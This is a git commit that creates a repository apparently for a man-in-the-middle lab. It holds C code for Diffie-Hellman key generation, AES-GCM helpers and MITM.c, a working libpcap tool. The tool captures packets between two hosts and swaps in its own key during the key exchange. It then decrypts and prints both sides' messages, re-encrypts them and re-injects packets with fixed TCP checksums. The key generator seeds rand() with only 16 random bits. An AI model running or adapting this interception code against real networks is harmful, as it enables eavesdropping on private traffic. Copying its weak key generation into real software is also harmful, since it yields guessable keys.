init repo

This commit is contained in:
Cat Vaala 2022-06-13 03:53:40 +00:00
parent fdd7eff7d8
commit 3466e2693b
34 changed files with 7408 additions and 0 deletions

149
MITM/Diffie_hellman.c Normal file
View File

@ -0,0 +1,149 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <gmp.h>
#include <string.h>
typedef struct{
mpz_t prime;
mpz_t base;
mpz_t private_key;
mpz_t public_key;
mpz_t key_for_server; //g^(AB)
mpz_t key_for_client; //g^(AB)
FILE *urand;
}Mim_key;
void generate_random(size_t sz, unsigned char* random_bytes,Mim_key* dhk)
{
unsigned int init_random = 0;
size_t i = 0;
if(0 == sz || NULL == random_bytes)
{
fprintf(stderr, "Wrong params for generate_random\n");
exit(1);
}
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
srand(init_random);
for(i = 0; i < sz; i++)
{
random_bytes[i] = rand();
}
}
void put_hex(unsigned char* value, unsigned int len){
//printf("%d:",len);
printf("exchange key");
for(int i=0;i<len;i++)
printf("%02x ",value[i]);
puts("");
}
unsigned char* str2hex(char *hexStr){
int len=strlen(hexStr)/2;
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
memset(hexvalue,0,len);
for(int i=0;i<len;i++){
if(hexStr[i*2]<='9'){
hexvalue[i]=(hexStr[i*2]-'0')*16;
}else
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
if(hexStr[i*2+1]<='9'){
hexvalue[i]+=(hexStr[i*2+1]-'0');
}else
hexvalue[i]+=(hexStr[i*2+1]-87);
}
return hexvalue;
}
void generate_key(size_t sz, Mim_key* dhk)
{
unsigned char* random_bytes = NULL;
if(0 == sz || NULL == dhk->private_key)
{
fprintf(stderr, "Wrong params for generate_key\n");
exit(1);
}
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
exit(1);
}
generate_random(sz, random_bytes, dhk);
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
free(random_bytes);
}
void init_prime(size_t sz,Mim_key* dhk)
{
mpz_t tmp;
mpz_t x;
unsigned char* random_bytes = NULL;
if(0 == sz)
{
fprintf(stderr, "Wrong params for init_prime\n");
exit(1);
}
mpz_init(tmp);
mpz_init(x);
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
exit(1);
}
while (1)
{
generate_random(sz, random_bytes,dhk);
random_bytes[sz-1] |= (unsigned char)0x40;
random_bytes[0] |= (unsigned char)1;
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
while (0 == mpz_probab_prime_p(tmp, 10))
{
mpz_add_ui(tmp, tmp, 2);
}
mpz_mul_ui(dhk->prime, tmp, 2);
mpz_add_ui(dhk->prime, dhk->prime, 1);
if (0 != mpz_probab_prime_p(dhk->prime, 10))
{
break;
}
}
free(random_bytes);
mpz_set_ui(dhk->base, (unsigned long)2);
mpz_clear(tmp);
mpz_clear(x);
}
void init_numbers(Mim_key* dhk)
{
mpz_init(dhk->key_for_client);
mpz_init(dhk->key_for_server);
mpz_init(dhk->prime);
mpz_init(dhk->base);
mpz_init(dhk->private_key);
mpz_init(dhk->public_key);
}
void clear_numbers(Mim_key* dhk)
{
mpz_clear(dhk->key_for_client);
mpz_clear(dhk->key_for_server);
mpz_clear(dhk->prime);
mpz_clear(dhk->base);
mpz_clear(dhk->private_key);
mpz_clear(dhk->public_key);
}

274
MITM/MITM.c Normal file
View File

@ -0,0 +1,274 @@
#include <pcap.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/ethernet.h>
#include "Diffie_hellman.c"
#define MAXBYTES2CAPTURE 2048
typedef struct{
unsigned char client_ip[16];
unsigned char server_ip[16];
pcap_t *p;
}ip_rule;
struct psd_header{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short tcpl;
};
Mim_key dh_key;
unsigned char server_mac[]={0x00,0x0c,0x29,0x83,0xfc,0xdf};
unsigned char client_mac[]={0x00,0x0c,0x29,0xb5,0x23,0x98};
unsigned char self_mac[]={0x00, 0x0c, 0x29, 0x07, 0x31, 0x61};
//计算tcp校验和
uint16_t calc_checksum(void *pkt, int len) {
uint16_t *buf = (uint16_t*)pkt;
uint32_t checksum = 0;
while (len > 1)
{
checksum += *buf++;
checksum = (checksum >> 16) + (checksum & 0xffff);
len -= 2;
}
if (len)
{
checksum += *((uint8_t*)buf);
checksum = (checksum >> 16) + (checksum & 0xffff);
}
return (uint16_t)((~checksum) & 0xffff);
}
//伪造
void set_psdheader(struct psd_header* ph,struct iphdr *ip, uint16_t tl){
ph->saddr=ip->saddr;
ph->daddr=ip->daddr;
ph->mbz=0;
ph->ptcl=6;
ph->tcpl=htons(tl);
}
//捕包
void tcp_callback(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char * packet){
struct ether_header *ethernet;
struct iphdr *ip;
struct tcphdr *tcp;
char srcip_str[16];
int hdr_len = ETHER_HDR_LEN + sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
int dl=pkthdr->len-hdr_len;
memset(srcip_str,0,16);
ip_rule * ip_r=(ip_rule*)arg;
//数据帧头部
ethernet = (struct ether_header*)(packet);
//ip头部
ip = (struct iphdr*)(packet + ETHER_HDR_LEN);
//tcp头部
tcp = (struct tcphdr*)(packet + ETHER_HDR_LEN+ sizeof(struct iphdr));
inet_ntop(AF_INET,&(ip->saddr),srcip_str,16);
memcpy(ethernet->ether_shost, self_mac, 6);
//处理服务器端发送的信息
if(strncmp(srcip_str, ip_r->server_ip, strlen(srcip_str))==0)
{
//模
if(strncmp(packet+hdr_len,"pri",3)==0)
{
mpz_set_str(dh_key.prime, packet+hdr_len+3, 16);
}
else if(strncmp(packet+hdr_len,"data",4)==0)
{
char *buff=packet+hdr_len;
char *plain=(char*)malloc(dl-48);
bzero(plain, sizeof(buff));
char key_string[128],key_value[32];
mpz_get_str(key_string, 16, dh_key.key_for_server);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
//解密
unsigned char iv[12],add[16],tag[16];
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
printf("[server]%s",plain);
//加密
bzero(key_string, sizeof(key_string));
mpz_get_str(key_string, 16, dh_key.key_for_client);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
//伪造tcp头
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
else if(strncmp(packet+hdr_len,"pub",3)==0)
{
mpz_t key_from_s;
mpz_init(key_from_s);
mpz_set_str(key_from_s,packet+hdr_len+3,16);
mpz_powm(dh_key.key_for_server, key_from_s, dh_key.private_key, dh_key.prime);
unsigned char pub[64];
mpz_get_str(pub,16,dh_key.public_key);
memcpy(packet+hdr_len+3,pub,sizeof(pub));
//伪造tcp头
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
unsigned short cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
memcpy(ethernet->ether_dhost,client_mac,6);
}
//处理客户端
else
{
if(strncmp(packet+hdr_len,"data",4)==0)
{
//decrypt
char *buff=packet+hdr_len;
char *plain=(char*)malloc(dl-48);
bzero(plain, sizeof(buff));
char key_string[128],key_value[32];
mpz_get_str(key_string, 16, dh_key.key_for_client);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
//解密
unsigned char iv[12],add[16],tag[16];
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
printf("[client]%s",plain);
//加密
bzero(key_string, sizeof(key_string));
mpz_get_str(key_string, 16, dh_key.key_for_server);
memcpy(key_value, str2hex(key_string), sizeof(key_value));
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
//伪造
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
else if(strncmp(packet+hdr_len,"pub",3)==0)
{
unsigned char pub[64];
generate_key(32,&dh_key);
mpz_t key_from_c;
mpz_init(key_from_c);
mpz_set_str(key_from_c,packet+hdr_len+3,16);
mpz_powm(dh_key.key_for_client, key_from_c, dh_key.private_key, dh_key.prime);
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
memcpy(ethernet->ether_dhost,server_mac,6);
mpz_get_str(pub,16,dh_key.public_key);
memcpy(packet+hdr_len+3,pub,sizeof(pub));
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
struct psd_header ph;
bzero(data_for_checksum, tcp_len+sizeof(ph));
set_psdheader(&ph, ip, tcp_len);
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
tcp->check=0;
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
tcp->check=cs;
}
memcpy(ethernet->ether_dhost,server_mac,6);
}
pcap_sendpacket(ip_r->p,packet,pkthdr->len);
return;
}
/* main(): Main function. Opens network interface and calls pcap_loop() */
int main(int argc, char *argv[] ){
int i=0, count=0;
pcap_t *descr = NULL;
char errbuf[PCAP_ERRBUF_SIZE], *device=NULL;
struct bpf_program filter;
memset(errbuf,0,PCAP_ERRBUF_SIZE);
init_numbers(&dh_key);
mpz_set_ui(dh_key.base, (unsigned long)2);
dh_key.urand = fopen("/dev/urandom","r");
//获得网卡信息
if ( (device = pcap_lookupdev(errbuf)) == NULL)
{
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(1);
}
printf("Opening device %s\n", device);
//打开网卡
if ( (descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf)) == NULL)
{
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(1);
}
//设置过滤信息
char rule[128];
memset(rule,0,128);
strncat(rule,"(src host ",10);
strncat(rule,argv[1],strlen(argv[1]));
strncat(rule," and dst host ",14);
strncat(rule,argv[2],strlen(argv[2]));
strncat(rule,") or (src host ",15);
strncat(rule,argv[2],strlen(argv[2]));
strncat(rule," and dst host ",14);
strncat(rule,argv[1],strlen(argv[1]));
strncat(rule, ")", 1);
if(pcap_compile(descr,&filter,rule,1,0)<0)
{
printf("error\n");
return 0;
}
if(pcap_setfilter(descr,&filter)<0)
{
printf("error\n");
return 0;
}
ip_rule ip_r;
ip_r.p=descr;
memset(ip_r.client_ip,0,15);
memcpy(ip_r.client_ip, argv[1],strlen(argv[1]));
memset(ip_r.server_ip,0,15);
memcpy(ip_r.server_ip, argv[2],strlen(argv[2]));
//循环捕包
if (pcap_loop(descr, -1, tcp_callback, (u_char *) &ip_r) == -1)
{
fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
exit(1);
}
return 0;
}

246
MITM/aes-common.h Normal file
View File

@ -0,0 +1,246 @@
#ifndef AES_COMMON_H
#define AES_COMMON_H
#include <ctype.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
/* integer types */
typedef unsigned char aes_uchar;
typedef unsigned short aes_ushort;
typedef unsigned int aes_uint;
typedef unsigned long long aes_ulong;
typedef signed char aes_char;
typedef signed short aes_short;
typedef signed int aes_int;
typedef signed long long aes_long;
/* byte order */
#if defined(__linux__) || defined(__GLIBC__)
#include <endian.h>
#include <byteswap.h>
#endif /* defined(__linux__) || defined(__GLIBC__) */
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
defined(__DragonFly__) || defined(__OpenBSD__)
#include <sys/types.h>
#include <sys/endian.h>
#define __BYTE_ORDER _BYTE_ORDER
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
#define __BIG_ENDIAN _BIG_ENDIAN
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
* defined(__DragonFly__) || defined(__OpenBSD__) */
#ifdef sun
#include <sys/isa_defs.h>
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#ifdef _LITTLE_ENDIAN
#define __BYTE_ORDER __LITTLE_ENDIAN
#else
#define __BYTE_ORDER __BIG_ENDIAN
#endif
#endif
#ifdef _MSC_VER
#define inline __inline
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#define __BYTE_ORDER __LITTLE_ENDIAN
#endif /* _MSC_VER */
#ifdef __APPLE__
#include <sys/types.h>
#include <machine/endian.h>
#define __BYTE_ORDER BYTE_ORDER
#define __LITTLE_ENDIAN LITTLE_ENDIAN
#define __BIG_ENDIAN BIG_ENDIAN
#endif /* __APPLE__ */
/* byte swap macros */
#ifndef bswap_16
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
(((aes_ushort) (a) & 0x00ff) << 8))
#endif
#ifndef bswap_32
#if defined __GNUC__
#define bswap_32(a) __builtin_bswap32(a)
#else
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
(((aes_uint) (a) & 0x0000ff00) << 8) | \
(((aes_uint) (a) & 0x000000ff) << 24))
#endif
#endif
#ifndef bswap_64
#if defined __GNUC__
#define bswap_64(a) __builtin_bswap64(a)
#else
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
#endif
#endif
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
#define le_to_host16(n) (n)
#define host_to_le16(n) (n)
#define be_to_host16(n) bswap_16(n)
#define host_to_be16(n) bswap_16(n)
#define le_to_host32(n) (n)
#define host_to_le32(n) (n)
#define be_to_host32(n) bswap_32(n)
#define host_to_be32(n) bswap_32(n)
#define le_to_host64(n) (n)
#define host_to_le64(n) (n)
#define be_to_host64(n) bswap_64(n)
#define host_to_be64(n) bswap_64(n)
#elif __BYTE_ORDER == __BIG_ENDIAN
#define le_to_host16(n) bswap_16(n)
#define host_to_le16(n) bswap_16(n)
#define be_to_host16(n) (n)
#define host_to_be16(n) (n)
#define le_to_host32(n) bswap_32(n)
#define host_to_le32(n) bswap_32(n)
#define be_to_host32(n) (n)
#define host_to_be32(n) (n)
#define le_to_host64(n) bswap_64(n)
#define host_to_le64(n) bswap_64(n)
#define be_to_host64(n) (n)
#define host_to_be64(n) (n)
#else
#error Could not determine CPU byte order
#endif
/* unaligned memory accesses */
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
{
return (a[0] << 8) | a[1];
}
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
{
a[0] = val >> 8;
a[1] = val & 0xff;
}
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
{
return (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
{
a[1] = val >> 8;
a[0] = val & 0xff;
}
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
{
return (a[0] << 16) | (a[1] << 8) | a[2];
}
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[2] = val & 0xff;
}
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
{
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
}
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 24) & 0xff;
a[1] = (val >> 16) & 0xff;
a[2] = (val >> 8) & 0xff;
a[3] = val & 0xff;
}
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
{
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
{
a[3] = (val >> 24) & 0xff;
a[2] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[0] = val & 0xff;
}
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
{
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
}
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
{
a[0] = val >> 56;
a[1] = val >> 48;
a[2] = val >> 40;
a[3] = val >> 32;
a[4] = val >> 24;
a[5] = val >> 16;
a[6] = val >> 8;
a[7] = val & 0xff;
}
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
{
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
}
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
{
a[7] = val >> 56;
a[6] = val >> 48;
a[5] = val >> 40;
a[4] = val >> 32;
a[3] = val >> 24;
a[2] = val >> 16;
a[1] = val >> 8;
a[0] = val & 0xff;
}
/* function attribute macros */
#ifndef AES_WARN_UNUSED_RESULT
#if defined __GNUC__
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
#else
#define AES_WARN_UNUSED_RESULT
#endif /* __GNUC__ */
#endif /* AES_WARN_UNUSED_RESULT */
#endif /* AES_COMMON_H */

166
MITM/aes-debug.c Normal file
View File

@ -0,0 +1,166 @@
#define AES_DEBUG
#include "aes.h"
int aes_debug_level = MSG_EXCESSIVE;
int aes_debug_show_keys = 1;
int aes_debug_timestamp = 1;
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
#include <time.h>
#include <windows.h>
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
int gettimeofday(struct timeval *tv, struct timezone *tz)
{
FILETIME ft;
__int64 tmpres = 0;
TIME_ZONE_INFORMATION tz_winapi;
int ret = 0;
ZeroMemory(&ft,sizeof(ft));
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
GetSystemTimeAsFileTime(&ft);
tmpres = ft.dwHighDateTime;
tmpres <<= 32;
tmpres |= ft.dwLowDateTime;
/*converting file time to unix epoch*/
tmpres /= 10; /*convert into microseconds*/
tmpres -= DELTA_EPOCH_IN_MICROSECS;
tv->tv_sec = (__int32)(tmpres*0.000001);
tv->tv_usec =(tmpres%1000000);
if (tz) {
ret = GetTimeZoneInformation(&tz_winapi);
tz->tz_dsttime = (ret == 2) ? true : false;
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
}
return 0;
}
#endif
void aes_debug_print_timestamp(void)
{
struct timeval tv;
if (!aes_debug_timestamp)
return;
gettimeofday(&tv, NULL);
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
}
void aes_printf(int level, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
if (level >= aes_debug_level) {
aes_debug_print_timestamp();
vprintf(fmt, ap);
printf("\n");
}
va_end(ap);
}
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
size_t len, int show)
{
size_t i;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
if (buf == NULL) {
printf(" [NULL]");
} else if (show) {
for (i = 0; i < len; i++)
printf(" %02x", buf[i]);
} else {
printf(" [REDACTED]");
}
printf("\n");
}
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, 1);
}
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
}
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len, int show)
{
size_t i, llen;
const aes_uchar *pos = buf;
const size_t line_len = 16;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
if (!show) {
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
title, (unsigned long) len);
return;
}
if (buf == NULL) {
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
title, (unsigned long) len);
return;
}
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
while (len) {
llen = len > line_len ? line_len : len;
printf(" ");
for (i = 0; i < llen; i++)
printf(" %02x", pos[i]);
for (i = llen; i < line_len; i++)
printf(" ");
printf(" ");
for (i = 0; i < llen; i++) {
if (isprint(pos[i]))
printf("%c", pos[i]);
else
printf("_");
}
for (i = llen; i < line_len; i++)
printf(" ");
printf("\n");
pos += llen;
len -= llen;
}
}
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, 1);
}
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
}

60
MITM/aes-debug.h Normal file
View File

@ -0,0 +1,60 @@
#ifndef AES_DEBUG_H
#define AES_DEBUG_H
/* gettimeofday */
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
struct timezone
{
int tz_minuteswest; /* minutes west of Greenwich */
int tz_dsttime; /* type of dst correction */
};
struct timeval {
int tv_sec;
int tv_usec;
};
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
#else
#include <sys/time.h>
#endif
/* Debugging function - conditional printf and hex dump */
enum {
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
};
extern int aes_debug_level;
extern int aes_debug_show_keys;
extern int aes_debug_timestamp;
#ifndef AES_DEBUG
#define aes_debug_print_timestamp() do { } while (0)
#define aes_printf(args...) do { } while (0)
#define aes_hexdump(l,t,b,le) do { } while (0)
#define aes_hexdump_buf(l,t,b) do { } while (0)
#define aes_hexdump_key(l,t,b,le) do { } while (0)
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
#define aes_dbg(args...) do { } while (0)
#else
void aes_debug_print_timestamp(void);
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len);
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len);
#endif /* AES_DEBUG_STDOUT */
#endif /* AES_DEBUG_H */

312
MITM/aes-gcm.c Normal file
View File

@ -0,0 +1,312 @@
#include "aes.h"
static void inc32(aes_uchar *block)
{
aes_uint val;
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
val++;
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
}
static void xor_block(aes_uchar *dst, const aes_uchar *src)
{
aes_uint *d = (aes_uint *) dst;
aes_uint *s = (aes_uint *) src;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
}
static void shift_right_block(aes_uchar *v)
{
aes_uint val;
val = AES_GET_BE32(v + 12);
val >>= 1;
if (v[11] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 12, val);
val = AES_GET_BE32(v + 8);
val >>= 1;
if (v[7] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 8, val);
val = AES_GET_BE32(v + 4);
val >>= 1;
if (v[3] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 4, val);
val = AES_GET_BE32(v);
val >>= 1;
AES_PUT_BE32(v, val);
}
/* Multiplication in GF(2^128) */
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
{
aes_uchar v[16];
int i, j;
memset(z, 0, 16); /* Z_0 = 0^128 */
memcpy(v, y, 16); /* V_0 = Y */
for (i = 0; i < 16; i++) {
for (j = 0; j < 8; j++) {
if (x[i] & 1 << (7 - j)) {
/* Z_(i + 1) = Z_i XOR V_i */
xor_block(z, v);
} else {
/* Z_(i + 1) = Z_i */
}
if (v[15] & 0x01) {
/* V_(i + 1) = (V_i >> 1) XOR R */
shift_right_block(v);
/* R = 11100001 || 0^120 */
v[0] ^= 0xe1;
} else {
/* V_(i + 1) = V_i >> 1 */
shift_right_block(v);
}
}
}
}
static void ghash_start(aes_uchar *y)
{
/* Y_0 = 0^128 */
memset(y, 0, 16);
}
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t m, i;
const aes_uchar *xpos = x;
aes_uchar tmp[16];
m = xlen / 16;
for (i = 0; i < m; i++) {
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, xpos);
xpos += 16;
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
if (x + xlen > xpos) {
/* Add zero padded last block */
size_t last = x + xlen - xpos;
memcpy(tmp, xpos, last);
memset(tmp + last, 0, sizeof(tmp) - last);
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, tmp);
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
/* Return Y_m */
}
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t i, n, last;
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
const aes_uchar *xpos = x;
aes_uchar *ypos = y;
if (xlen == 0)
return;
n = xlen / 16;
memcpy(cb, icb, AES_BLOCK_SIZE);
/* Full blocks */
for (i = 0; i < n; i++) {
aes_encrypt(aes, cb, ypos);
xor_block(ypos, xpos);
xpos += AES_BLOCK_SIZE;
ypos += AES_BLOCK_SIZE;
inc32(cb);
}
last = x + xlen - xpos;
if (last) {
/* Last, partial block */
aes_encrypt(aes, cb, tmp);
for (i = 0; i < last; i++)
*ypos++ = *xpos++ ^ tmp[i];
}
}
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
{
void *aes;
aes = aes_encrypt_init(key, key_len);
if (aes == NULL)
return NULL;
/* Generate hash subkey H = AES_K(0^128) */
memset(H, 0, AES_BLOCK_SIZE);
aes_encrypt(aes, H, H);
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
return aes;
}
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
{
aes_uchar len_buf[16];
if (iv_len == 12) {
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
memcpy(J0, iv, iv_len);
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
J0[AES_BLOCK_SIZE - 1] = 0x01;
} else {
/*
* s = 128 * ceil(len(IV)/128) - len(IV)
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
*/
ghash_start(J0);
ghash(H, iv, iv_len, J0);
AES_PUT_BE64(len_buf, 0);
AES_PUT_BE64(len_buf + 8, iv_len * 8);
ghash(H, len_buf, sizeof(len_buf), J0);
}
}
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
aes_uchar *out)
{
aes_uchar J0inc[AES_BLOCK_SIZE];
if (len == 0)
return;
memcpy(J0inc, J0, AES_BLOCK_SIZE);
inc32(J0inc);
aes_gctr(aes, J0inc, in, len, out);
}
